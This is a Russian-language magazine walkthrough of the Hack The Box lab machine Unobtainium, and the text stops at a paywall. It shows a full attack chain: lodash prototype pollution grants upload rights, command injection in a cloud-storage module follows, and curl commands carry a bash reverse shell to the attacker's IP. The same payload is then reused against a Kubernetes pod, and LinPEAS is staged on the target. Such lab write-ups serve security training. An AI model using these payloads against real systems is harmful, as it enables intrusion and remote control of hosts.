Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем адрес машины 10.10.10.235 в файл /
как unobtainium.
и запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем восемь открытых портов:
- порт 22 — служба SSH;
- порт 80 — Apache httpd 2.4.41;
- порты 2379, 2380 — пока неясно, что это;
- порт 8443 — тоже веб‑сервер;
- порты 10250, 10256 — Golang HTTP-Server;
- порт 31337 — Node.js Express framework.
Начнем с осмотра сайта.
Здесь нам дают только скачать какое‑то приложение, что мы и делаем. Скачиваем пакет .deb и разворачиваем, чтобы не устанавливать на локальный хост. Затем находим исполняемый файл и запускаем приложение.
mkdir ubo ; cd mkdirdpkg-deb -xv unobtainium_1.0.0_amd64.deb ../opt/unobtainium
Изучив приложение, понимаем, что оно имеет клиент‑серверную архитектуру. Здесь есть форма отправки сообщений и возможность смотреть список дел.
Список выглядит вот так:
- Create administrator zone.
- Update node JS API Server.
- Add Login functionality.
- Complete Get Messages feature.
- Complete ToDo feature.
- Implement Google Cloud Storage function.
- Improve security.
Анализ трафика
Итак, мы узнали, что используется технология Node.js, есть авторизация и разделение привилегий (пункт 1). Поскольку приложение — это клиент, можем предположить, что оно стучится на порт 31337, обнаруженный нами при сканировании. Нам нужно проверить это предположение, а поможет нам в этом Wireshark. Открываем его и запускаем наше приложение снова.
Видим, что приложение работает по HTTP и действительно подключается к порту 31337.
Попробуем вручную использовать функции приложения, чтобы узнать, как именно они работают. Запросим список дел и отправим какое‑нибудь сообщение.
Мы можем скопировать оба запроса и перенести их в Burp Repeater для дальнейшего тестирования. Также для удобства можно переименовать вкладки.
PUT / HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 79Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}
POST /todo HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 73Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
В обоих запросах мест для тестирования два: это параметр text
при отправке сообщения и filename
при запросе файла todo.
. Попытка запросить другие файлы (например, /
) ни к чему не привела, а если точнее, привела к зависанию приложения. Но вот в случае пустого запроса мы получим ошибку.
Точка входа
В тексте ошибки видим несколько раскрытых путей к файлам. Так как используется Node.js, запросим важный файл index.
. Поскольку содержимое файла неформатированное, для удобства отправим его в расширение Burp Hackvector. Выбираем String → Replace и меняем последовательности \\
, \\
и \
на \
, \
и "
.
Код на скриншот не помещается, поэтому приведу его ниже.
var root = require("google-cloudstorage-commands");const express = require('express');const { exec } = require("child_process");const bodyParser = require('body-parser');const _ = require('lodash');const app = express();var fs = require('fs');const users =[ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},];let messages = [];let lastId = 1;function findUser(auth){ return users.find((u) => u.name === auth.name && u.password === auth.password;}app.use(bodyParser.json());app.get('/', (req, res) => { res.send(messages); });app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true});});app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true});});app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload("./",filename, true); res.send({ok: true, Uploaded_File: filename});});app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; testFolder = "/usr/src/app"; fs.readdirSync(testFolder).forEach(file => { if (file.indexOf(filename) > -1) { var buffer = fs.readFileSync(filename).toString(); res.send({ok: true, content: buffer}); } });});app.listen(3000);console.log('Listening on port 3000...');
В самом начале подключаются некоторые библиотеки. Так как это Node.js, мы можем запросить файл package.
, чтобы узнать версии подключаемых библиотек.
У нас есть следующие зависимости:
- body-parser: 1.18.3;
- express: 4.16.4;
- lodash: 4.17.4;
- google-cloudstorage-commands: 0.0.1;
Нам известны технологии, поэтому следует поискать готовые эксплоиты, чтобы понять, какие могут быть уязвимости. Делать это лучше всего при помощи Google.
Так мы находим две уязвимости в модулях google-cloudstorage-commands и lodash. Первая может дать нам OS Command injection, то есть, другими словами, удаленное выполнение команд. У нас уже есть уязвимый блок кода (ниже приведены скрины из PoC и кода index.
).
При передаче параметра filename
методом POST на страницу /
мы можем выполнить команду. Но перед этим сервер проверяет, имеет ли данный пользователь свойство canUpload
.
Этих свойств у нас нет, но можем их получить. В этом поможет критическая уязвимость в библиотеке lodash. Мы можем использовать атрибут constructor
объекта, представляющего пользователя, чтобы активировать данные привилегии. И у нас снова есть уязвимый блок кода (ниже приведены скрины из PoC и кода index.
).
При передаче параметра text
методом PUT на страницу /
мы сможем выполнить опасное слияние объектов.
Точка опоры
Давай проэксплуатируем это и активируем у себя свойства canUpload
и canDelete
. Для этого отправим следующее сообщение:
{ "text":{ "constructor":{ "prototype":{ "canDelete":true, "canUpload":true } } } }}
Получили ответ, что все выполнено без ошибок. Теперь для проверки выполним команду id
, как было описано выше. Результат запишем в файл.
Осталось прочесть содержимое файла легитимным способом.
Как можно увидеть, команда успешно выполнена, а вся наша концепция получила подтверждение. Можно выполнить реверс‑шелл.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Чтобы быстро восстанавливать соединение в случае его потери, я написал маленький скрипт на Bash, содержащий две команды. Это те же команды, что представлены в запросах выше, только без чтения файла.
#!/bin/bashcurl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}' http://unobtainium.htb:31337/
curl -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}' http://unobtainium.htb:31337/upload
Продвижение
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Для этого я обычно использую скрипты PEASS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его надо сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же wget
на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Из вывода LinPEAS я узнал, что на хосте работает пользовательская задача в cron. Каждую минуту происходит поиск и удаление файла kubectl
. А это означает использование оркестратора Kubernetes.
Kubernetes позволяет управлять кластером контейнеров Linux как единой системой. Kubernetes управляет контейнерами Docker, запускает их на большом количестве хостов, а также обеспечивает совместное размещение и репликацию большого количества контейнеров. Что нам нужно понимать при работе с Kubernetes:
- Node — это машина в кластере Kubernetes;
- Pod — это группа контейнеров с общими разделами, запускаемых как единое целое;
- Service — это абстракция, которая определяет логический объединенный набор pod и политику доступа к ним;
- Volume — это директория (возможно, с данными), которая доступна в контейнере;
- Label — это пара ключ/значение, которые прикрепляются к объектам, например подам, и могут быть использованы для создания и выбора наборов объектов.
Для работы с кубером нам нужен kubectl, а он удаляется раз в минуту. Скачаем его на локальную машину, а затем загрузим на удаленный хост таким же способом, как и LinPEAS. Я загружаю его под именем kctl
.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
Теперь файл удаляться не будет, можем поработать с Kubernetes. Благодаря kubectl нам доступна команда can-i
, с помощью которой мы можем проверить свои привилегии на то или иное действие. В ответ будет возвращаться yes
или no
.
В кластере Kubernetes объекты secret
предназначены для хранения конфиденциальной информации, такой как пароли, токены OAuth или ключи SSH. И это первое, что нужно проверить.
kubectl auth can-i list secrets
К сожалению, мы не можем просмотреть секреты. Следующее, что нужно проверить, — это пространства имен (namespaces
) — виртуальные кластеры, работающие в одном и том же физическом кластере. Namespaces предоставляют набор уникальных имен для ресурсов. Давай узнаем, можем ли мы получить их.
kubectl auth can-i list namespaces
Мы можем получить пространства имен следующей простой командой.
kubectl get namespaces
По умолчанию в кластере Kubernetes будет создано пространство имен default
, в котором размещаются запускаемые объекты. Пространства kube-public
и kube-system
используются для запуска служебных объектов Kubernetes, необходимых для корректной работы кластера. Но нам (судя по названию) больше интересно пространство имен dev
и системный kube-system
. Но ни в первом, ни во втором пространстве доступа к секретам не имеем.
kubectl auth can-i list secrets -n dev
kubectl auth can-i list secrets -n kube-system
С секретами не получилось, посмотрим на поды. Каждый pod состоит из одного или нескольких контейнеров, хранилища, отдельного IP-адреса и опций, которые определяют, как именно контейнеры должны запускаться. Также pod представляет собой некий запущенный процесс в кластере Kubernetes. Но чаще всего в подах используются контейнеры Docker. Посмотрим, можем ли мы получить поды из пространства dev
, а после положительного ответа получим их список.
kubectl auth can-i list pods -n dev
kubectl get pods -n dev
Давай получим описание пода. Так как это целый контейнер, нам интересна возможность распространения по сети, а из описания сможем узнать адрес.
kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Так, из описания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.
и открытый порт 3000
. Оказалось, что там работает такой же сервис, поэтому мы можем получить доступ уже имеющимся скриптом. Запустим листенер на другом порте локального хоста (я запустил на 5432) и выполним бэкконнект.
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}' http://172.17.0.8:3000/ ; echocurl -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}' http://172.17.0.8:3000/upload
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»